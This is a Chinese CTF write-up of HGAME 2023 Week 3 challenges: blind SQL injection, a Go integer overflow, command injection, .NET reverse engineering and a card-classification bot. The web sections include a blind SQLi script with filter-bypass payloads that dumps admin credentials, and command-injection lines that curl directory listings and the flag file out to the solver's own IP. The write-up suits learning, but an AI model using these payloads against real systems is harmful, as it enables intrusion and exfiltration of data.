本周在迎新春,走亲戚(真的很忙),外加题目难度增加,笔者比较菜,因此只解出了寥寥几题,不过姑且也算是一些成就,故作此题解,希望能够对各位读者有些帮助。
Week3 比赛地址:https://hgame.vidar.club/contest/4
[WEB] Login To Get My Gift
本题考查的同样是SQL注入,不过与之前不同的是,这次考察的是盲注,且从上周的过滤关键词转为了检测到关键词就拒绝请求。启动环境后,首先,笔者使用用户名testuser
,密码testpassword
登录系统,抓取登录请求后在postman中进行调试。
经过测试,and
、空格、substr
、mid
等被过滤,但是or
、left
、right
等可以使用。笔者猜测,SQL语句大抵是类似SELECT * FROM table WHERE username='xxx' and password='xxx' ...
的,因此,如果在password
处截断注入,而且使用or
语句,则需要保证username
和password
不同时正确,否则无法进行盲注(或者也可以使用时间盲注,这样就不用考虑回显了)。
这是我最终构造的盲注语句:
testpassword1'Or/*a*/if(ascii(right(%s,%s))-%s,0,1)#
此处,由于ascii
函数只返回字符串第一个字符的ASCII码,因此,可以用right
函数从后往前爆破,下面是完整的python脚本:
import string
import requests
if __name__ == '__main__':
url = "http://week-3.hgame.lwsec.cn:30453/login"
index = 0
s = ''
trytxt = "(SELECt/*a*/group_Concat(PAssw0rD)/*a*/frOm/*a*/User1nf0mAt1on)"
curr_index = 0
while True:
for i in range(32, 127):
ret = requests.post(url, data={
'username': 'testuser',
'password': 'testpassword1\'Or/*a*/if(ascii(right(%s,%s))-%s,0,1)#' % (trytxt, index + 1, i)
})
if 'Success' in ret.text:
s = chr(i) + s
print(s)
break
index += 1
首先尝试爆破数据表:
(SELECt/*a*/group_Concat(table_name)/*a*/frOm/*a*/infOrmation_schema.tables/*a*/whEre/*a*/table_schema/*a*/in(database()))
得到数据表名为:
User1nf0mAt1on
接着获得字段:
(SELECt/*a*/group_Concat(column_name)/*a*/frOm/*a*/infOrmation_schema.columns/*a*/whEre/*a*/table_name/*a*/in('User1nf0mAt1on'))
得到字段:
id,PAssw0rD,UsErN4me
最后获得用户名和密码:
(SELECt/*a*/group_Concat(UsErN4me)/*a*/frOm/*a*/User1nf0mAt1on)
(SELECt/*a*/group_Concat(PAssw0rD)/*a*/frOm/*a*/User1nf0mAt1on)
得到管理员账户:
hgAmE2023HAppYnEwyEAr
WeLc0meT0hgAmE2023hAPPySql
登录后访问/home
获得flag:
hgame{It_1s_1n7EresT1nG_T0_ExPL0Re_Var10us_Ways_To_Sql1njEct1on}
[WEB] Gopher Shop
下载源代码,在本地编译调试,发现SQL方面似乎没有可以注入的漏洞,但是user.go
文件中的部分函数似乎存在整数溢出漏洞:
func BuyProduct(context *gin.Context) {
username, _ := context.Get("username")
user, err := db.GetUserByUsername(username.(string))
if err != nil {
return
}
product := context.Query("product")
price, err := db.GetProductPrice(product)
number, err := strconv.Atoi(context.Query("number"))
//校验是否买的起
if err != nil || number < 1 || user.Balance < uint(number)*price {
context.JSON(400, gin.H{"error": "invalid request"})
return
}
// ...
此处看似使用了strconv.Atoi
,无懈可击,但是后面的比较语句中uint(number)*price
仍然存在溢出的可能,可以在程序中添加
println("total:", uint(number)*price, err)
println("number:", uint(number), err)
来查看溢出的情况。
经过测试,strconv.Atoi
似乎对于一切大于9223372036854775808
的数,都会强制转换为9223372036854775808
,同时,uint(number)*price
的最大乘积结果为18446744073709551616
,超出后就会溢出。在商店中,我们看到Apple
的售价是10
,而10*1844674407370955162在该程序中得出的结果是4
(即相比于最大值18446744073709551616
,溢出了4
),我们的初始余额(Vidar Coin
)是10
,因此,可以利用这个漏洞购买大量的林檎苹果,然后再出售,即可获得足够购买flag程度的余额了。
因此,解题步骤为:首先购买1844674407370955162
个Apple,接着分批次卖出(不能同时卖,因为数字过大了),然后购买flag即可
最后得到flag:
hgame{GopherShop_M@gic_1nt_0verflow}
[WEB] Ping To The Host
这道题在第三周中算是难度较低的一道,简单来说,就是一个无回显的linux shell
,不过后端过滤了flag
、空格、cat
等字符,需要进行一个简单的绕过。
首先在自己的服务器或电脑(开端口穿透)上开一个监听(或者HTTP服务器,只要能接收到传回的数据即可),接着,用ls
找到flag的位置:
127.0.0.1${IFS}&&${IFS}curl${IFS}[你的IP]:65532/`ls${IFS}/${IFS}|base64`
解码base64,得到简单的目录结构:
app
bin
boot
dev
etc
flag_is_here_haha
home
lib
lib64
med
然后,读取flag文件:
127.0.0.1${IFS}&&${IFS}curl${IFS}[你的IP]:65532/`nl${IFS}/????_is_here_haha|base64`
得到flag:
hgame{p1nG_t0_ComM4nD_ExecUt1on_dAngErRrRrRrR!}
[REVERSE] kunmusic
怎么到处都有小黑子(恼)
这道题考察的是.net
程序的反编译,笔者使用ILSpy
对kmusic.dll
进行反编译,发现程序中似乎暗藏玄只因,在程序运行时,会对Resource.data
进行异或解密:
于是,笔者提取出这部分数据,也异或解密了一下:
if __name__ == '__main__':
f = open(r"C:\Users\vvbbnn00\Desktop\hgame\kmusic\data.bin", "rb")
byte = bytearray()
for i in f.read():
byte.append(i^104)
open(r'C:\Users\vvbbnn00\Desktop\hgame\kmusic\secret', 'wb').write(byte)
解密后拖进IDA,发现可能是一个.net
库,于是也用ILSpy
加载了一下,发现里面的唱、跳、RAP函数都没有什么问题,但是music
却出乎意料的长:
public void music(object sender, EventArgs e)
{
if (num[0] + 52296 + num[1] - 26211 + num[2] - 11754 + (num[3] ^ 0xA114) + num[4] * 63747 + num[5] - 52714 + num[6] - 10512 + num[7] * 12972 + num[8] + 45505 + num[9] - 21713 + num[10] - 59122 + num[11] - 12840 + (num[12] ^ 0x525F) == 12702282 && num[0] - 25228 + (num[1] ^ 0x50DB) + (num[2] ^ 0x1FDE) + num[3] - 65307 + num[4] * 30701 + num[5] * 47555 + num[6] - 2557 + (num[7] ^ 0xBF9F) + num[8] - 7992 + (num[9] ^ 0xE079) + (num[10] ^ 0xE052) + num[11] + 13299 + num[12] - 50966 == 9946829 && num[0] - 64801 + num[1] - 60698 + num[2] - 40853 + num[3] - 54907 + num[4] + 29882 + (num[5] ^ 0x3506) + (num[6] ^ 0x533E) + num[7] + 47366 + num[8] + 41784 + (num[9] ^ 0xD1BA) + num[10] * 58436 + num[11] * 15590 + num[12] + 58225 == 2372055 && num[0] + 61538 + num[1] - 17121 + num[2] - 58124 + num[3] + 8186 + num[4] + 21253 + num[5] - 38524 + num[6] - 48323 + num[7] - 20556 + num[8] * 56056 + num[9] + 18568 + num[10] + 12995 + (num[11] ^ 0x995C) + num[12] + 25329 == 6732474 && num[0] - 42567 + num[1] - 17743 + num[2] * 47827 + num[3] - 10246 + (num[4] ^ 0x3F9C) + num[5] + 39390 + num[6] * 11803 + num[7] * 60332 + (num[8] ^ 0x483B) + (num[9] ^ 0x12BB) + num[10] - 25636 + num[11] - 16780 + num[12] - 62345 == 14020739 && num[0] - 10968 + num[1] - 31780 + (num[2] ^ 0x7C71) + num[3] - 61983 + num[4] * 31048 + num[5] * 20189 + num[6] + 12337 + num[7] * 25945 + (num[8] ^ 0x1B98) + num[9] - 25369 + num[10] - 54893 + num[11] * 59949 + (num[12] ^ 0x3099) == 14434062 && num[0] + 16689 + num[1] - 10279 + num[2] - 32918 + num[3] - 57155 + num[4] * 26571 + num[5] * 15086 + (num[6] ^ 0x59CA) + (num[7] ^ 0x5B35) + (num[8] ^ 0x3FFD) + (num[9] ^ 0x5A85) + num[10] - 40224 + num[11] + 31751 + num[12] * 8421 == 7433598 && num[0] + 28740 + num[1] - 64696 + num[2] + 60470 + num[3] - 14752 + (num[4] ^ 0x507) + (num[5] ^ 0x89C8) + num[6] + 49467 + num[7] - 33788 + num[8] + 20606 + (num[9] ^ 0xAF4A) + num[10] * 19764 + num[11] + 48342 + num[12] * 56511 == 7989404 && (num[0] ^ 0x7132) + num[1] + 23120 + num[2] + 22802 + num[3] * 31533 + (num[4] ^ 0x9977) + num[5] - 48576 + (num[6] ^ 0x6F7E) + num[7] - 43265 + num[8] + 22365 + num[9] + 61108 + num[10] * 2823 + num[11] - 30343 + num[12] + 14780 == 3504803 && num[0] * 22466 + (num[1] ^ 0xDABF) + num[2] - 53658 + (num[3] ^ 0xB838) + (num[4] ^ 0x30DF) + num[5] * 59807 + num[6] + 46242 + num[7] + 3052 + (num[8] ^ 0x62BF) + num[9] + 30202 + num[10] * 22698 + num[11] + 33480 + (num[12] ^ 0x4175) == 11003580 && num[0] * 57492 + (num[1] ^ 0x346D) + num[2] - 13941 + (num[3] ^ 0xBBDC) + num[4] * 38310 + num[5] + 9884 + num[6] - 45500 + num[7] - 19233 + num[8] + 58274 + num[9] + 36175 + (num[10] ^ 0x4888) + num[11] * 49694 + (num[12] ^ 0x2501) == 25546210 && num[0] - 23355 + num[1] * 50164 + (num[2] ^ 0x873A) + num[3] + 52703 + num[4] + 36245 + num[5] * 46648 + (num[6] ^ 0x12FA) + (num[7] ^ 0xA376) + num[8] * 27122 + (num[9] ^ 0xA44A) + num[10] * 15676 + num[11] - 31863 + num[12] + 62510 == 11333836 && num[0] * 30523 + (num[1] ^ 0x1F36) + num[2] + 39058 + num[3] * 57549 + (num[4] ^ 0xD0C0) + num[5] * 4275 + num[6] - 48863 + (num[7] ^ 0xD88C) + (num[8] ^ 0xA40) + (num[9] ^ 0x3554) + num[10] + 62231 + num[11] + 19456 + num[12] - 13195 == 13863722)
{
int[] array = new int[47]
{
132, 47, 180, 7, 216, 45, 68, 6, 39, 246,
124, 2, 243, 137, 58, 172, 53, 200, 99, 91,
83, 13, 171, 80, 108, 235, 179, 58, 176, 28,
216, 36, 11, 80, 39, 162, 97, 58, 236, 130,
123, 176, 24, 212, 56, 89, 72
};
string text = "";
for (int i = 0; i < array.Length; i++)
{
text += (char)(array[i] ^ num[i % num.Length]);
}
new SoundPlayer(Resources.过年鸡).Play();
MessageBox.Show(text);
}
}
很明显,这是一个十分复杂的方程,flag似乎就藏在array[i] ^ num[i % num.Length]
的计算结果中。那么,后面需要做的事情便很明了了——解方程吧。但是,我不会!我不会!我不会! 怎么办?
我们知道,hgame
的flag通常以hgame{
开头,以}
结尾,而分析代码发现,num
只有13个,而密文的长度为47
,则必然会存在重复,我们已知明文的前6位和最后一位(第46位),根据异或计算的特性,自然能够知道这些位置对应的秘钥,也就是说,秘钥的第0-5
位和第7
位(46 Mod 13 = 7)已知,剩下5位未知。同时,密文中,第0-5
、13-18
、…位和第46
、33
…位都可以先破译出来,剩下的只要猜猜就能出来啦(
以下是笔者尝试的代码:
#include <stdio.h>
#include <string.h>
char pass(int *num) {
return num[0] + 52296 + num[1] - 26211 + num[2] - 11754 + (num[3] ^ 0xA114) + num[4] * 63747 + num[5] - 52714 + num[6] - 10512 + num[7] * 12972 + num[8] + 45505 + num[9] - 21713 + num[10] - 59122 + num[11] - 12840 + (num[12] ^ 0x525F) == 12702282 && num[0] - 25228 + (num[1] ^ 0x50DB) + (num[2] ^ 0x1FDE) + num[3] - 65307 + num[4] * 30701 + num[5] * 47555 + num[6] - 2557 + (num[7] ^ 0xBF9F) + num[8] - 7992 + (num[9] ^ 0xE079) + (num[10] ^ 0xE052) + num[11] + 13299 + num[12] - 50966 == 9946829 && num[0] - 64801 + num[1] - 60698 + num[2] - 40853 + num[3] - 54907 + num[4] + 29882 + (num[5] ^ 0x3506) + (num[6] ^ 0x533E) + num[7] + 47366 + num[8] + 41784 + (num[9] ^ 0xD1BA) + num[10] * 58436 + num[11] * 15590 + num[12] + 58225 == 2372055 && num[0] + 61538 + num[1] - 17121 + num[2] - 58124 + num[3] + 8186 + num[4] + 21253 + num[5] - 38524 + num[6] - 48323 + num[7] - 20556 + num[8] * 56056 + num[9] + 18568 + num[10] + 12995 + (num[11] ^ 0x995C) + num[12] + 25329 == 6732474 && num[0] - 42567 + num[1] - 17743 + num[2] * 47827 + num[3] - 10246 + (num[4] ^ 0x3F9C) + num[5] + 39390 + num[6] * 11803 + num[7] * 60332 + (num[8] ^ 0x483B) + (num[9] ^ 0x12BB) + num[10] - 25636 + num[11] - 16780 + num[12] - 62345 == 14020739 && num[0] - 10968 + num[1] - 31780 + (num[2] ^ 0x7C71) + num[3] - 61983 + num[4] * 31048 + num[5] * 20189 + num[6] + 12337 + num[7] * 25945 + (num[8] ^ 0x1B98) + num[9] - 25369 + num[10] - 54893 + num[11] * 59949 + (num[12] ^ 0x3099) == 14434062 && num[0] + 16689 + num[1] - 10279 + num[2] - 32918 + num[3] - 57155 + num[4] * 26571 + num[5] * 15086 + (num[6] ^ 0x59CA) + (num[7] ^ 0x5B35) + (num[8] ^ 0x3FFD) + (num[9] ^ 0x5A85) + num[10] - 40224 + num[11] + 31751 + num[12] * 8421 == 7433598 && num[0] + 28740 + num[1] - 64696 + num[2] + 60470 + num[3] - 14752 + (num[4] ^ 0x507) + (num[5] ^ 0x89C8) + num[6] + 49467 + num[7] - 33788 + num[8] + 20606 + (num[9] ^ 0xAF4A) + num[10] * 19764 + num[11] + 48342 + num[12] * 56511 == 7989404 && (num[0] ^ 0x7132) + num[1] + 23120 + num[2] + 22802 + num[3] * 31533 + (num[4] ^ 0x9977) + num[5] - 48576 + (num[6] ^ 0x6F7E) + num[7] - 43265 + num[8] + 22365 + num[9] + 61108 + num[10] * 2823 + num[11] - 30343 + num[12] + 14780 == 3504803 && num[0] * 22466 + (num[1] ^ 0xDABF) + num[2] - 53658 + (num[3] ^ 0xB838) + (num[4] ^ 0x30DF) + num[5] * 59807 + num[6] + 46242 + num[7] + 3052 + (num[8] ^ 0x62BF) + num[9] + 30202 + num[10] * 22698 + num[11] + 33480 + (num[12] ^ 0x4175) == 11003580 && num[0] * 57492 + (num[1] ^ 0x346D) + num[2] - 13941 + (num[3] ^ 0xBBDC) + num[4] * 38310 + num[5] + 9884 + num[6] - 45500 + num[7] - 19233 + num[8] + 58274 + num[9] + 36175 + (num[10] ^ 0x4888) + num[11] * 49694 + (num[12] ^ 0x2501) == 25546210 && num[0] - 23355 + num[1] * 50164 + (num[2] ^ 0x873A) + num[3] + 52703 + num[4] + 36245 + num[5] * 46648 + (num[6] ^ 0x12FA) + (num[7] ^ 0xA376) + num[8] * 27122 + (num[9] ^ 0xA44A) + num[10] * 15676 + num[11] - 31863 + num[12] + 62510 == 11333836 && num[0] * 30523 + (num[1] ^ 0x1F36) + num[2] + 39058 + num[3] * 57549 + (num[4] ^ 0xD0C0) + num[5] * 4275 + num[6] - 48863 + (num[7] ^ 0xD88C) + (num[8] ^ 0xA40) + (num[9] ^ 0x3554) + num[10] + 62231 + num[11] + 19456 + num[12] - 13195 == 13863722;
}
int main() {
int array[] = {
132, 47, 180, 7, 216, 45, 68, 6, 39, 246,
124, 2, 243, 137, 58, 172, 53, 200, 99, 91,
83, 13, 171, 80, 108, 235, 179, 58, 176, 28,
216, 36, 11, 80, 39, 162, 97, 58, 236, 130,
123, 176, 24, 212, 56, 89, 72
};
char known[] = "hgame{";
int num[13] = {0};
// known
for (int i = 0; i < 6; i++) {
num[i] = known[i] ^ array[i];
}
num[7] = 72 ^ '}';
// guess
num[6] = 62;
num[12] = 133;
num[11] = 93;
num[8] = 120; // ?
num[9] = 199;
num[10] = 15;
for (int i = 0; i < 13; i++) {
if (num[i]) printf("%d, ", num[i]);
}
printf("check: %s \n", pass(num) ? "Pass" : "Fail");
int length = sizeof(array) / sizeof(int);
printf("length:%d\n", length);
char text[48] = "";
for (int j = 0; j < length; j++) {
if (num[j % 13] == 0) continue;
text[j] = (char)(array[j] ^ num[j % 13]);
}
if (pass(num)) {
printf("%s", text);
return 0;
}
for (int i = 6; i < 13; i++) {
if (num[i] != 0) continue;
printf("Trying N%d...\n", i);
for (int j = 0; j < length; j++) {
if (num[j % 13] == 0) text[j] = '?';
}
for (int k = 0; k < 256; k++) {
char pass = 1;
for (int j = i; j < length; j += 13) {
int tmp = (char)(array[j] ^ k);
if (tmp > 126 || tmp < 32 || tmp == '{' || tmp == '}' || tmp == ' ') {
pass = 0;
break;
}
}
if (!pass) continue;
for (int j = i; j < length; j += 13) {
text[j] = (char)(array[j] ^ k);
}
printf("possible: %s, k=%d\n", text, k);
}
getchar();
}
// printf("%s", text);
// hgame{z3_1s_very_u5eful_1n_rever5e_engin3ering}
}
最后得到完整的num
:
236, 72, 213, 106, 189, 86, 62, 53, 120, 199, 15, 93, 133
以及flag:
hgame{z3_1s_very_u5eful_1n_rever5e_engin3ering}
PS:本题的解法很可能不是最优解,更加简单的方法可以参照官方WP
[MISC] Tunnel
本题题目有误,下载的流量分析中提取TFTP
文件,搜索hgame
即可找到flag:
hgame{ikev1_may_not_safe_aw987rtgh}
[MISC] 3ctu4_card_problem
运行环境,会传回一个很长很长的base64
数据,解码后发现是一个压缩文件,里面包含100张卡牌图片,有游戏王卡牌和宝可梦卡牌两类。
Please distinguish the type of the cards.(ptcg: 0, ygo: 1)
Input the answer in the order of the cards.(e.g. 10101010)
Press Enter to continue...
根据提示,我们需要按照编号将卡牌的类型传回,宝可梦为0、游戏王为1。
查看卡牌:
发现卡牌图片都被旋转了随机的角度,而且加上了部分干扰,因此需要用到机器学习。由于笔者没有学习过相关知识,因此使用的是最简单的PaddleX
工具可视化训练的,首先,笔者运行了3次程序,获得了300张数据,将他们人工分类后,导入于PaddleX
中:
然后,新建了一个图像分类的项目,以默认参数跑模型训练:
最后经过测试,部分模型在测试集中可以达到100%准确度:
导出最优模型,然后编写代码:
# Please distinguish the type of the cards.(ptcg: 0, ygo: 1)
# Input the answer in the order of the cards.(e.g. 10101010)
import base64
import os
import zipfile
import pwn
import paddlex as pdx
import cv2
print("Loading model...")
model = pdx.load_model('./kpfl/inference_model/inference_model/')
print("Model loaded.")
replace = """Please distinguish the type of the cards.(ptcg: 0, ygo: 1)
Input the answer in the order of the cards.(e.g. 10101010)
Press Enter to continue..."""
replace2 = """ > """
def get_res(path):
im = cv2.imread(path)
im = im.astype('float32')
result = model.predict(im)
return result
if __name__ == '__main__':
conn = pwn.remote("week-3.hgame.lwsec.cn", 30102)
conn.sendafter(b"Press Enter to continue...", b"\n")
data = conn.recvline()
# data = open("week3_f.txt", 'rb').read()
data = data.decode().replace(replace, "").replace(replace2, "")
data = base64.b64decode(data)
open("file.zip", "wb").write(data)
file = zipfile.ZipFile('file.zip')
file.extractall(path="./extract/")
file.close()
result = ""
for i in range(0, 100):
p = os.path.join("./extract/", f'{i}.png')
res = get_res(p)
res = res[0].get("category_id")
result += str(res)
print(res, end="")
conn.sendline(result.encode())
conn.interactive()
运行得到flag:
hgame{9ff693d394d4691d55feb4ffa555bd831c005509}
本题笔者训练用的数据集和最终模型可以从下方链接下载:
https://od.vvbbnn00.cn/t/izLSG0